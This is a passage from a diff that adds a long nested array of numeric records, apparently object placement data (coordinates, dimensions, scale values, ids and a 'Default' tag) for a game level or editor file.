+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1326,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2523,
+ 794,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1328,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2524,
+ 716,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1329,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 637,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1364,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 560,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1365,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 481,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1374,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 402,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1376,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2526,
+ 324,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1377,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 245,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1378,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 168,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1379,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 89,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1380,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 10,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1381,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2528,
+ -68,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1382,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ -147,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1390,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2069.84033203125,
+ 1174.564086914063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 637,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670.05712890625,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1393,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1747.510864257813,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1394,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1823.935913085938,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1411,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1903.112670898438,
+ 645.7354736328125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1412,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1979.537719726563,
+ 645.7354736328125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1413,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1980.5078125,
+ 567.4602661132812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1414,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1980.524291992188,
+ 488.2163696289063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1415,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1981.494384765625,
+ 409.941162109375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1437,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1901.586059570313,
+ 566.5264892578125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1438,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1673.870239257813,
+ 352.2344970703125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1439,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2058.09619140625,
+ 409.8449401855469,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1440,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2134.521484375,
+ 409.8449401855469,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1442,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213.6982421875,
+ 410.1560363769531,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1444,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212,
+ 638,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1445,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213,
+ 560,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1446,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213,
+ 485,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1447,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2290.2734375,
+ 637.497802734375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1448,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2369.4501953125,
+ 637.8088989257812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1449,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2445.87548828125,
+ 637.8088989257812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1450,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446.51220703125,
+ 481,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1451,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2340.169189453125,
+ 988.5640869140625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1452,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2684,
+ 1134,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1453,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2716,
+ 1134,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1454,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2748,
+ 1134,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1455,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2875,
+ 1042,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1457,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2907,
+ 1042,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1458,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2939,
+ 1042,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1463,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3066,
+ 952,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1467,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3098,
+ 952,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1468,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3130,
+ 952,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1469,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3255.595458984375,
+ 860.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1470,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3287.595458984375,
+ 860.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1471,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3319.595458984375,
+ 860.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1496,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3446.595458984375,
+ 770.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1500,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3478.595458984375,
+ 770.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 5220,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3510.595458984375,
+ 770.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 5221,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1464,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 1465,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1466,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3655,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5236,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 5268,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3925,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 5269,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3655,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5270,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3925,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 5303,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3564.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1321,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3655.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1322,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1358,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1472,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3924.947265625,
+ 984.5023803710938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1544,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1545,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3654.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1546,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3744.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1547,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3834.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1553,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3924.529052734375,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1554,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3654.81201171875,
+ 1169.281982421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1555,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3744.54150390625,
+ 1169.282470703125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1556,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3833.645263671875,
+ 1169.281982421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1557,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3923.70751953125,
+ 1169.105102539063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1558,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4012.811279296875,
+ 1169.104614257813,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1559,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4102.541015625,
+ 1169.105102539063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1560,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4191.64453125,
+ 1169.104614257813,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1561,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4282,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1562,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4372,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1563,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 1564,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1565,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 1567,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1568,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
